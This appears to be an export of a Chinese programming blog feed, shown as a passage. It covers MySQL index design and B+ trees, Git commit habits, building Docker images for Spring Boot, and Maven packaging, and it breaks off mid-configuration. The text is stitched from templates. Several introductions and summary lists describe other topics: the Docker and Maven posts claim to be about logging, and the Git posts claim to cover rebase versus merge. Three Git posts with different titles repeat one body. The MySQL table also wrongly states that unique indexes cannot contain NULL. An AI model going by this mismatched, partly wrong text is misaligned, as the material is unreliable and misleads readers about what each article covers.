    AND count_star = 0
    AND object_schema NOT IN ('mysql', 'performance_schema');

#

6.3 索引重建

当索引页利用率低时，重建索引：

-- MySQL 5.7: ALTER TABLE
ALTER TABLE user ENGINE=InnoDB;

-- MySQL 8.0: OPTIMIZE TABLE
OPTIMIZE TABLE user;

七、索引设计检查清单

#

7.1 创建索引前检查

  • 该列是否出现在WHERE、JOIN、ORDER BY、GROUP BY中？
  • 该列的选择性是否足够高（>0.1）？
  • 是否已存在可以复用的联合索引？
  • 单表索引数量是否已超过5个？
  • 索引列的数据类型是否尽可能小？

#

7.2 联合索引设计检查

  • 是否符合最左前缀原则？
  • 等值查询列是否在前，范围查询列在后？
  • 是否包含ORDER BY的列？
  • 是否可以设计为覆盖索引？

#

7.3 索引优化检查

  • 是否使用了前缀索引替代长字符串索引？
  • 是否有冗余索引可以删除？
  • 是否有未使用的索引可以删除？
  • 是否定期检查索引碎片？

八、常见错误与解决方案

#

8.1 索引过多导致写入慢

现象：插入、更新、删除操作变慢

原因：每次写操作都要维护所有索引

解决：

  1. 删除未使用的索引
  2. 合并冗余索引
  3. 将部分查询移到从库

#

8.2 索引选择错误

现象：EXPLAIN显示使用了错误的索引

解决：

-- 使用FORCE INDEX强制指定索引
SELECT * FROM orders FORCE INDEX (idx_user_time) 
WHERE user_id = 100;

-- 或使用ANALYZE TABLE更新统计信息
ANALYZE TABLE orders;

#

8.3 隐式类型转换导致索引失效

-- 错误：phone是VARCHAR类型
WHERE phone = 13800138000   -- 数字，发生隐式转换

-- 正确
WHERE phone = '13800138000'  -- 字符串，使用索引

九、总结

索引类型适用场景注意事项
主键索引每表必须用自增整数，避免UUID
唯一索引业务唯一性约束不能含NULL
单列索引单条件高频查询选择性要高
联合索引多条件组合查询注意最左前缀和列顺序
前缀索引长字符串列无法覆盖索引

好的索引设计需要：

  1. 深入理解业务查询模式
  2. 掌握最左前缀等核心原则
  3. 利用EXPLAIN分析执行计划
  4. 持续监控和优化索引使用

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL MySQL 数据库 Git 冲突解决的正确顺序 //git-chong-tu-jie-jue-de-zheng-que-shun-xu/ Git 冲突解决的正确顺序

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git MySQL索引原理与B+树结构 //mysql-index-b-plus-tree/ MySQL索引原理与B+树结构

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、为什么需要索引

#

1.1 无索引的查询代价

假设有一张用户表，包含100万条记录：

SELECT * FROM user WHERE id = 500000;

如果没有索引，MySQL需要逐行扫描（全表扫描），直到找到匹配记录。时间复杂度为O(n)。

#

1.2 索引的本质

索引是一种数据结构，用于快速定位数据。MySQL的InnoDB引擎使用B+树作为默认索引结构。

二、B树与B+树

#

2.1 二叉搜索树的局限

普通二叉搜索树在极端情况下会退化为链表，查找效率变为O(n)。即使使用AVL树或红黑树保持平衡，由于每个节点只存储一个关键字，当数据量巨大时，树的高度仍然很高，导致磁盘I/O次数过多。

#

2.2 B树（Balanced Tree）

B树是一种多路平衡搜索树，每个节点可以存储多个关键字：

  • 每个节点最多有m个子节点（m阶B树）
  • 除根节点外，每个节点至少有m/2个子节点
  • 所有叶子节点在同一层
      [30, 60]
     /    |    \
[10,20] [40,50] [70,80]

B树的每个节点都存储数据，导致：

  • 单个节点能存储的键值对减少
  • 树的高度相对较高
  • 范围查询需要中序遍历，效率低

#

2.3 B+树的优势

B+树是B树的改进版，也是MySQL索引的实际实现：

结构特点：

  • 非叶子节点只存储键值，不存储数据
  • 所有数据都存储在叶子节点
  • 叶子节点之间通过指针相连，形成有序链表
        [30 | 60]
       /    |    \
 [10|20] [40|50] [70|80]  ← 非叶子节点（仅索引键）
   ↓       ↓       ↓
数据页    数据页    数据页  ← 叶子节点（存数据+索引键）
   ↕       ↕       ↕
双向链表连接

核心优势：

  1. 更矮更胖：非叶子节点不存数据，单个节点容纳更多键，树高更低
  2. 顺序访问：叶子节点链表连接，范围查询只需遍历链表
  3. 稳定性能：所有查询都到达叶子节点，IO次数一致

三、InnoDB的B+树实现

#

3.1 页（Page）结构

InnoDB以页为单位管理数据，默认每页16KB：

+-----------------+
|  File Header    |  ← 38字节，页号、上一页、下一页
+-----------------+
|  Page Header    |  ← 56字节，页状态、记录数量
+-----------------+
|  Infimum        |  ← 最小虚拟记录
+-----------------+
|  Supremum       |  ← 最大虚拟记录
+-----------------+
|  User Records   |  ← 实际数据记录（按主键排序）
+-----------------+
|  Free Space     |  ← 空闲空间
+-----------------+
|  Page Directory |  ← 页目录，加速页内查找
+-----------------+
|  File Trailer   |  ← 校验和
+-----------------+

#

3.2 聚簇索引（Clustered Index）

InnoDB表数据本身就是按B+树组织的索引结构，称为聚簇索引：

  • 叶子节点存储完整的行数据
  • 数据按主键顺序物理存储
    主键B+树
       [10]
      /    \
   [3,7]   [15,20]
     ↓       ↓
+--------+ +--------+ +--------+
| id=3   | | id=10  | | id=15  |
| name=A | | name=B | | name=C |
| ...    | | ...    | | ...    |
+--------+ +--------+ +--------+

叶子节点 = 完整的数据行

特点：

  • 一个表只能有一个聚簇索引（主键）
  • 查询主键效率最高
  • 插入按主键顺序最快（避免页分裂）

#

3.3 二级索引（Secondary Index）

非主键索引都是二级索引：

  • 叶子节点存储：索引列 + 主键值
  • 查询时需要”回表”：先查二级索引获取主键，再查聚簇索引获取完整数据
 name列的二级索引
     [Bob]
    /     \
[Alice]  [David]
   ↓        ↓
 id=3     id=15   ← 叶子存主键值
 
 回表查询：根据id=3再去聚簇索引查完整数据

#

3.4 覆盖索引

如果查询的所有列都在二级索引中，无需回表：

-- 假设有联合索引(name, age)
SELECT id, name, age FROM user WHERE name = 'Alice';
-- 覆盖索引，不回表

SELECT * FROM user WHERE name = 'Alice';
-- 需要回表查其他列

四、索引页分裂与合并

#

4.1 页分裂（Page Split）

当插入数据导致页满时，触发页分裂：

  1. 申请一个新页
  2. 将原页约一半数据移动到新页
  3. 更新父节点的指针
插入前：
[1, 2, 3, 4, 5]  ← 页已满

插入6：
[1, 2, 3]  ← 原页
[4, 5, 6]  ← 新页

父节点新增指向新页的指针

性能影响：

  • 页分裂涉及多个页的修改，成本较高
  • 频繁页分裂导致页空间利用率降低（通常50%左右）
  • 数据物理顺序变得不连续，影响顺序读性能

#

4.2 页合并（Page Merge）

删除数据导致页利用率过低时（默认低于50%），可能触发页合并：

删除前：
Page A: [1, 2, 3]      ← 3条记录
Page B: [4, 5]         ← 2条记录，利用率低

删除后合并：
Page A: [1, 2, 3, 5]   ← 合并后
Page B: 空闲           ← 归还到空闲列表

#

4.3 顺序主键的优势

使用自增ID作为主键：

  • 新数据总是追加到最后一页
  • 几乎不会发生页分裂
  • 数据物理连续，顺序读取效率高

使用UUID作为主键：

  • 插入位置随机
  • 频繁触发页分裂
  • 数据物理分散，随机IO多

五、索引的物理存储

#

5.1 表空间文件

InnoDB数据存储在表空间文件中：

ibdata1          # 系统表空间（共享）
user.ibd         # 独立表空间（每张表一个文件，推荐）

配置独立表空间：

[mysqld]
innodb_file_per_table = ON

#

5.2 索引与数据的关系

-- 查看表空间信息
SELECT * FROM information_schema.innodb_sys_tablespaces 
WHERE name = 'database/user';

#

5.3 索引高度估算

假设：

  • 页大小：16KB
  • 主键类型：BIGINT（8字节）
  • 指针大小：6字节
  • 每行数据：1KB

非叶子节点：

  • 每个键值对大小：8 + 6 = 14字节
  • 每页可容纳：16KB / 14B ≈ 1170个键

叶子节点：

  • 每页可容纳：16KB / 1KB = 16条记录

树高计算：

  • 高度1（根节点）：1170个指针
  • 高度2：1170 × 1170 = 136万指针
  • 高度3：1170 × 1170 × 16 ≈ 2190万条记录

结论：2000万数据的表，树高通常只有3层，最多3次IO即可定位数据。

六、索引使用最佳实践

#

6.1 选择合适的列建索引

适合建索引的列：

  • WHERE条件中频繁使用的列
  • JOIN关联条件中的列
  • ORDER BY / GROUP BY的列
  • 区分度高的列（唯一值比例高）

不适合建索引的列：

  • 区分度极低的列（如性别）
  • 频繁更新的列（维护索引成本高）
  • 小表（全表扫描更快）
  • 很长的字符串列

#

6.2 索引设计原则

  1. 最左前缀原则：联合索引(a,b,c)，查询条件必须包含最左边的列
  2. 避免冗余索引：已有(a,b)，不需要单独的(a)
  3. 控制索引数量：单表不超过5个索引，索引过多影响写入性能
  4. 优先使用覆盖索引：减少回表次数

#

6.3 索引失效场景

-- 1. 使用函数
WHERE YEAR(create_time) = 2024   -- 失效
WHERE create_time >= '2024-01-01' AND create_time < '2025-01-01'  -- 有效

-- 2. 类型转换
WHERE user_id = '123'   -- user_id是int，发生隐式转换，失效
WHERE user_id = 123     -- 有效

-- 3. 使用NOT、<>、!=
WHERE status <> 1   -- 可能失效（取决于数据分布）

-- 4. LIKE以%开头
WHERE name LIKE '%张%'   -- 失效
WHERE name LIKE '张%'    -- 有效（用到索引）

-- 5. OR条件
WHERE id = 1 OR name = 'a'   -- name无索引时，id索引也失效

七、查看索引信息

#

7.1 查看表索引

SHOW INDEX FROM user;

#

7.2 查看索引统计

-- 查看索引 cardinality（区分度）
SHOW INDEX FROM user \G;

-- Cardinality越高，索引区分度越好
-- Cardinality / 总行数 接近1表示区分度好

#

7.3 分析索引使用情况

-- 查看查询是否使用索引
EXPLAIN SELECT * FROM user WHERE name = 'Alice';

-- 查看索引大小
SELECT 
    index_name,
    ROUND(stat_value * @@innodb_page_size / 1024 / 1024, 2) AS size_mb
FROM mysql.innodb_index_stats
WHERE table_name = 'user';

八、总结

概念说明
B+树多路平衡树，非叶子节点只存键，叶子节点存数据并双向链表连接
聚簇索引数据与索引在一起，叶子节点存完整行数据，按主键排序
二级索引叶子节点存索引列+主键，需要回表
覆盖索引查询列全在索引中，无需回表
页分裂页满时分裂成两页，影响插入性能
页合并页利用率过低时合并，回收空间

理解B+树的结构特点，有助于：

  • 合理设计表结构和主键
  • 优化索引设计
  • 写出高效SQL
  • 诊断性能问题

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL MySQL 数据库 Git rebase 和 merge 怎么选 //git-rebase-he-merge-zen-me-xuan/ Git rebase 和 merge 怎么选

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git SpringBoot Docker镜像构建 //springboot-docker-image-build/ SpringBoot Docker镜像构建

Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。

一、基础Dockerfile

#

1.1 最简单的构建方式

FROM eclipse-temurin:17-jdk
VOLUME /tmp
COPY target/*.jar app.jar
ENTRYPOINT ["java", "-jar", "/app.jar"]

问题分析：

  • 使用JDK，镜像体积大
  • 单层构建，无缓存优化
  • 缺少JVM参数配置
  • 无健康检查

#

1.2 使用JRE减小体积

FROM eclipse-temurin:17-jre
VOLUME /tmp
COPY target/*.jar app.jar
ENTRYPOINT ["java", "-jar", "/app.jar"]

JRE比JDK减少约200MB。

二、多阶段构建

#

2.1 构建与运行分离

# 第一阶段：构建
FROM maven:3.9-eclipse-temurin-17-alpine AS build
WORKDIR /app
COPY pom.xml .
COPY src ./src
RUN mvn clean package -DskipTests

# 第二阶段：运行
FROM eclipse-temurin:17-jre
WORKDIR /app
COPY --from=build /app/target/*.jar app.jar
EXPOSE 8080
ENTRYPOINT ["java", "-jar", "app.jar"]

优势：

  • 最终镜像不包含Maven和编译工具
  • 构建环境独立，不受宿主机影响
  • 适合CI/CD流水线

#

2.2 结合分层打包

# 第一阶段：提取分层
FROM eclipse-temurin:17-jre AS builder
WORKDIR /application
ARG JAR_FILE=target/*.jar
COPY ${JAR_FILE} application.jar
RUN java -Djarmode=layertools -jar application.jar extract

# 第二阶段：复制分层
FROM eclipse-temurin:17-jre
WORKDIR /application

# 按变化频率从低到高复制
COPY --from=builder /application/dependencies/ ./
COPY --from=builder /application/spring-boot-loader/ ./
COPY --from=builder /application/snapshot-dependencies/ ./
COPY --from=builder /application/application/ ./

EXPOSE 8080
ENTRYPOINT ["java", "org.springframework.boot.loader.JarLauncher"]

三、JVM参数优化

#

3.1 容器感知配置

ENTRYPOINT ["java", \
    "-XX:+UseContainerSupport", \
    "-XX:MaxRAMPercentage=75.0", \
    "-XX:InitialRAMPercentage=50.0", \
    "-jar", "app.jar"]

-XX:+UseContainerSupport（Java 8u191+ / Java 11+ 默认开启）让JVM识别容器资源限制。

#

3.2 垃圾回收器选择

G1GC（通用场景）：

ENTRYPOINT ["java", \
    "-XX:+UseG1GC", \
    "-XX:MaxGCPauseMillis=200", \
    "-XX:+UseContainerSupport", \
    "-XX:MaxRAMPercentage=75.0", \
    "-jar", "app.jar"]

ZGC（低延迟场景，Java 11+）：

ENTRYPOINT ["java", \
    "-XX:+UseZGC", \
    "-XX:+ZGenerational", \
    "-XX:+UseContainerSupport", \
    "-XX:MaxRAMPercentage=75.0", \
    "-jar", "app.jar"]

#

3.3 内存配置详解

ENTRYPOINT ["java", \
    # 堆内存
    "-XX:MaxRAMPercentage=75.0", \
    "-XX:InitialRAMPercentage=50.0", \
    # 元空间
    "-XX:MaxMetaspaceSize=256m", \
    # 直接内存
    "-XX:MaxDirectMemorySize=128m", \
    # 线程栈
    "-Xss1m", \
    # OOM时生成dump
    "-XX:+HeapDumpOnOutOfMemoryError", \
    "-XX:HeapDumpPath=/tmp/heapdump.hprof", \
    "-jar", "app.jar"]

四、生产级Dockerfile模板

#

4.1 完整模板

# 多阶段构建：提取分层
FROM eclipse-temurin:17-jre AS builder
WORKDIR /application
COPY target/*.jar application.jar
RUN java -Djarmode=layertools -jar application.jar extract

# 运行阶段
FROM eclipse-temurin:17-jre

# 创建非root用户
RUN groupadd -r appgroup && useradd -r -g appgroup appuser

WORKDIR /application

# 复制分层（按变化频率排序）
COPY --from=builder /application/dependencies/ ./
COPY --from=builder /application/spring-boot-loader/ ./
COPY --from=builder /application/snapshot-dependencies/ ./
COPY --from=builder /application/application/ ./

# 修改权限
RUN chown -R appuser:appgroup /application
USER appuser

# 时区设置
ENV TZ=Asia/Shanghai
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone

# JVM参数
ENV JAVA_OPTS=""
ENV JVM_OPTS="-XX:+UseContainerSupport \
    -XX:MaxRAMPercentage=75.0 \
    -XX:InitialRAMPercentage=50.0 \
    -XX:+UseG1GC \
    -XX:MaxGCPauseMillis=200 \
    -XX:+HeapDumpOnOutOfMemoryError \
    -XX:HeapDumpPath=/tmp/heapdump.hprof \
    -Xlog:gc*:file=/tmp/gc.log:time,uptime:filecount=5,filesize=10m"

EXPOSE 8080

# 健康检查
HEALTHCHECK --interval=30s --timeout=3s --start-period=60s --retries=3 \
    CMD curl -f http://localhost:8080/actuator/health || exit 1

ENTRYPOINT ["sh", "-c", "java $JVM_OPTS $JAVA_OPTS org.springframework.boot.loader.JarLauncher"]

#

4.2 使用非Root用户

安全最佳实践：

RUN groupadd -r appgroup && useradd -r -g appgroup appuser
USER appuser

#

4.3 健康检查

HEALTHCHECK --interval=30s --timeout=3s --start-period=60s --retries=3 \
    CMD curl -f http://localhost:8080/actuator/health/liveness || exit 1

SpringBoot Actuator需配置：

management:
  endpoints:
    web:
      exposure:
        include: health,info,metrics
  endpoint:
    health:
      probes:
        enabled: true
      show-details: always

五、构建优化技巧

#

5.1 .dockerignore文件

# Git
.git
.gitignore

# IDE
.idea
*.iml
.vscode

# Maven
target/
!target/*.jar

# 文档
README.md
*.md

# 其他
*.log
.env

#

5.2 利用构建缓存

将不常变更的指令放在前面：

# 先复制pom.xml下载依赖（缓存命中率高）
COPY pom.xml .
RUN mvn dependency:go-offline

# 再复制源码（经常变化）
COPY src ./src
RUN mvn package -DskipTests

#

5.3 选择合适的基础镜像

镜像大小适用场景
eclipse-temurin:17-jdk~400MB需要编译
eclipse-temurin:17-jre~250MB纯运行
eclipse-temurin:17-jre-alpine~180MB追求最小体积
distroless-java17~120MB极致安全

#

5.4 Alpine版本注意事项

FROM eclipse-temurin:17-jre-alpine

# Alpine使用apk包管理
RUN apk add --no-cache curl

注意：Alpine使用musl libc，某些JNI库可能不兼容。

六、Distroless极简镜像

Google的distroless镜像只包含运行时依赖，无shell、无包管理器。

# 构建阶段
FROM maven:3.9-eclipse-temurin-17 AS build
WORKDIR /app
COPY . .
RUN mvn clean package -DskipTests

# 运行阶段使用distroless
FROM gcr.io/distroless/java17-debian12
WORKDIR /app
COPY --from=build /app/target/*.jar app.jar
EXPOSE 8080
USER nonroot:nonroot
ENTRYPOINT ["java", "-jar", "/app/app.jar"]

优势：

  • 镜像体积最小
  • 攻击面最小（无shell无法exec进入）
  • 安全性最高

限制：

  • 无法进入容器调试
  • 健康检查需要特殊处理

七、Docker Compose配置

version: '3.8'

services:
  app:
    build:
      context: .
      dockerfile: Dockerfile
      args:
        - JAR_FILE=target/*.jar
    image: myapp:latest
    container_name: myapp
    ports:
      - "8080:8080"
    environment:
      - JAVA_OPTS=-Dspring.profiles.active=prod
      - JVM_OPTS=-XX:MaxRAMPercentage=75.0
      - TZ=Asia/Shanghai
    volumes:
      - ./logs:/tmp
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:8080/actuator/health"]
      interval: 30s
      timeout: 3s
      retries: 3
      start_period: 40s
    deploy:
      resources:
        limits:
          cpus: '2'
          memory: 1G
        reservations:
          cpus: '1'
          memory: 512M
    restart: unless-stopped

八、Kubernetes部署配置

apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
        - name: app
          image: myapp:latest
          ports:
            - containerPort: 8080
          env:
            - name: JAVA_OPTS
              value: "-Dspring.profiles.active=prod"
            - name: JVM_OPTS
              value: "-XX:MaxRAMPercentage=75.0 -XX:+UseG1GC"
          resources:
            requests:
              memory: "512Mi"
              cpu: "500m"
            limits:
              memory: "1Gi"
              cpu: "1000m"
          livenessProbe:
            httpGet:
              path: /actuator/health/liveness
              port: 8080
            initialDelaySeconds: 60
            periodSeconds: 30
          readinessProbe:
            httpGet:
              path: /actuator/health/readiness
              port: 8080
            initialDelaySeconds: 30
            periodSeconds: 10
          lifecycle:
            preStop:
              exec:
                command: ["sh", "-c", "sleep 10"]

九、镜像安全扫描

#

9.1 使用Trivy扫描

# 安装Trivy
brew install trivy

# 扫描镜像
trivy image myapp:latest

# 仅显示高危漏洞
trivy image --severity HIGH,CRITICAL myapp:latest

#

9.2 使用Docker Scout

docker scout cves myapp:latest

十、CI/CD集成示例

#

GitHub Actions工作流

name: Build and Push Docker Image

on:
  push:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - name: Set up JDK 17
        uses: actions/setup-java@v4
        with:
          java-version: '17'
          distribution: 'temurin'
      
      - name: Build with Maven
        run: mvn clean package -DskipTests
      
      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v3
      
      - name: Login to Docker Hub
        uses: docker/login-action@v3
        with:
          username: ${{ secrets.DOCKER_USERNAME }}
          password: ${{ secrets.DOCKER_PASSWORD }}
      
      - name: Build and push
        uses: docker/build-push-action@v5
        with:
          context: .
          push: true
          tags: ${{ secrets.DOCKER_USERNAME }}/myapp:${{ github.sha }}
          cache-from: type=gha
          cache-to: type=gha,mode=max

总结

构建高质量的SpringBoot Docker镜像需要关注：

  1. 体积优化：使用JRE、多阶段构建、分层提取
  2. 安全加固：非root用户、distroless镜像、安全扫描
  3. 性能调优：容器感知JVM参数、GC选择
  4. 可观测性：健康检查、Actuator端点、日志收集
  5. 构建效率：缓存策略、.dockerignore、并行构建

掌握这些实践，能够打造出既轻量又安全的生产级容器镜像。

核心要点

  1. 日志级别设置：根据环境设置合适的级别

  2. 日志格式配置：添加 traceId 便于链路追踪

  3. 日志输出：控制台输出和文件输出的配置

  4. 日志归档：设置滚动策略和保留时间

总结

日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。

]]> SpringBoot Spring SpringBoot Docker Git 提交前如何检查改动 //git-ti-jiao-qian-ru-he-jian-cha-gai-dong/ Git 提交前如何检查改动

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git SpringBoot Maven打包优化 //springboot-maven-package-optimize/ SpringBoot Maven打包优化

Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。

一、SpringBoot打包基础

#

1.1 传统打包方式的问题

普通Maven打包会产生两个问题：

问题一：依赖分散

target/
├── classes/          # 编译后的类文件
├── lib/              # 依赖jar（如果有配置）
└── myapp.jar         # 仅包含项目代码

这种方式需要额外处理依赖，不适合直接部署。

问题二：可执行jar的结构
SpringBoot的fat jar虽然包含所有依赖，但默认结构不够优化：

myapp.jar
├── META-INF/
│   └── MANIFEST.MF
├── BOOT-INF/
│   ├── classes/      # 项目代码
│   └── lib/          # 所有依赖jar
└── org/springframework/boot/loader/

#

1.2 spring-boot-maven-plugin基础配置

<build>
    <plugins>
        <plugin>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-maven-plugin</artifactId>
            <version>${spring-boot.version}</version>
            <executions>
                <execution>
                    <goals>
                        <goal>repackage</goal>
                    </goals>
                </execution>
            </executions>
        </plugin>
    </plugins>
</build>

repackage目标会将普通jar重新打包为可执行的fat jar。

二、分层打包（Layered Jars）

SpringBoot 2.3+ 引入了分层打包，利用Docker的缓存层机制加速构建。

#

2.1 启用分层打包

<plugin>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-maven-plugin</artifactId>
    <configuration>
        <layers>
            <enabled>true</enabled>
        </layers>
    </configuration>
</plugin>

#

2.2 分层结构解析

启用后，jar内部会按以下层次组织：

BOOT-INF/layers.idx
├── dependencies      # 稳定不变的第三方依赖
├── spring-boot-loader # SpringBoot加载器
├── snapshot-dependencies # SNAPSHOT依赖
├── application       # 频繁变动的项目代码和配置

#

2.3 提取分层内容

使用layertools模式提取：

java -Djarmode=layertools -jar myapp.jar extract

生成的目录结构：

extracted/
├── dependencies/          # 第三方依赖
├── spring-boot-loader/    # 加载器
├── snapshot-dependencies/ # SNAPSHOT依赖
└── application/           # 项目代码

#

2.4 配合Dockerfile使用

FROM eclipse-temurin:17-jre as builder
WORKDIR /application
ARG JAR_FILE=target/*.jar
COPY ${JAR_FILE} application.jar
RUN java -Djarmode=layertools -jar application.jar extract

FROM eclipse-temurin:17-jre
WORKDIR /application
COPY --from=builder /application/dependencies/ ./
COPY --from=builder /application/spring-boot-loader/ ./
COPY --from=builder /application/snapshot-dependencies/ ./
COPY --from=builder /application/application/ ./
ENTRYPOINT ["java", "org.springframework.boot.loader.JarLauncher"]

优势：

  • 依赖层不常变化，Docker缓存命中率高
  • 只有代码变更时才需要重新推送application层
  • 大幅减少镜像构建和推送时间

三、构建配置优化

#

3.1 排除开发依赖

<plugin>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-maven-plugin</artifactId>
    <configuration>
        <excludeDevtools>true</excludeDevtools>
    </configuration>
</plugin>

#

3.2 排除特定依赖

<configuration>
    <excludes>
        <exclude>
            <groupId>com.example</groupId>
            <artifactId>test-util</artifactId>
        </exclude>
    </excludes>
</configuration>

#

3.3 自定义Main-Class

<configuration>
    <mainClass>com.example.MyApplication</mainClass>
</configuration>

#

3.4 生成构建信息

<executions>
    <execution>
        <goals>
            <goal>build-info</goal>
        </goals>
    </execution>
</executions>

自动生成META-INF/build-info.properties：

build.artifact=myapp
build.group=com.example
build.name=My Application
build.time=2024-07-13T09:00:00.000Z
build.version=1.0.0

代码中获取：

@Autowired
private BuildProperties buildProperties;

public void printInfo() {
    System.out.println("Version: " + buildProperties.getVersion());
    System.out.println("Build Time: " + buildProperties.getTime());
}

四、构建加速技巧

#

4.1 Maven并行构建

mvn clean package -T 4

使用4个线程并行构建模块。

#

4.2 跳过测试加速

开发环境验证时：

mvn clean package -DskipTests

#

4.3 配置镜像加速

在settings.xml中配置阿里云镜像：

<mirrors>
    <mirror>
        <id>aliyun</id>
        <name>Aliyun Maven</name>
        <url>https://maven.aliyun.com/repository/public</url>
        <mirrorOf>central</mirrorOf>
    </mirror>
</mirrors>

#

4.4 增量编译

<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-compiler-plugin</artifactId>
    <configuration>
        <useIncrementalCompilation>true</useIncrementalCompilation>
    </configuration>
</plugin>

#

4.5 Gradle替代方案

Gradle的增量构建通常更快：

plugins {
    id 'java'
    id 'org.springframework.boot' version '3.x.x'
}

tasks.named('bootJar') {
    layered {
        enabled = true
    }
}

五、打包瘦身策略

#

5.1 精简依赖

分析依赖树：

mvn dependency:tree

排除传递依赖：

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    <exclusions>
        <exclusion>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-tomcat</artifactId>
        </exclusion>
    </exclusions>
</dependency>

替换为Undertow（更轻量）：

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-undertow</artifactId>
</dependency>

#

5.2 使用JRE运行时

Dockerfile中使用JRE而非JDK：

FROM eclipse-temurin:17-jre

#

5.3 自定义JRE（Java 11+）

使用jlink创建最小化JRE：

jlink \
  --module-path $JAVA_HOME/jmods \
  --add-modules java.base,java.logging,java.xml,jdk.unsupported \
  --output myjre \
  --strip-debug \
  --no-man-pages \
  --no-header-files \
  --compress=2

六、多环境配置

#

6.1 Profile过滤资源

<profiles>
    <profile>
        <id>dev</id>
        <activation>
            <activeByDefault>true</activeByDefault>
        </activation>
        <properties>
            <env>dev</env>
        </properties>
    </profile>
    <profile>
        <id>prod</id>
        <properties>
            <env>prod</env>
        </properties>
    </profile>
</profiles>

#

6.2 资源过滤

<build>
    <resources>
        <resource>
            <directory>src/main/resources</directory>
            <filtering>true</filtering>
        </resource>
    </resources>
</build>

七、完整优化配置示例

<?xml version="1.0" encoding="UTF-8"?>
<project>
    <!-- ... 其他配置 ... -->
    
    <build>
        <finalName>${project.artifactId}</finalName>
        
        <resources>
            <resource>
                <directory>src/main/resources</directory>
                <filtering>true</filtering>
            </resource>
        </resources>
        
        <plugins>
            <!-- SpringBoot打包插件 -->
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
                <configuration>
                    <!-- 启用分层 -->
                    <layers>
                        <enabled>true</enabled>
                    </layers>
                    <!-- 排除devtools -->
                    <excludeDevtools>true</excludeDevtools>
                    <!-- 包含运行时信息 -->
                    <includeSystemScope>true</includeSystemScope>
                </configuration>
                <executions>
                    <execution>
                        <goals>
                            <goal>repackage</goal>
                            <goal>build-info</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
            
            <!-- 编译插件 -->
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.11.0</version>
                <configuration>
                    <source>17</source>
                    <target>17</target>
                    <compilerArgs>
                        <arg>-parameters</arg>
                    </compilerArgs>
                </configuration>
            </plugin>
            
            <!-- 资源插件 -->
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-resources-plugin</artifactId>
                <version>3.3.1</version>
                <configuration>
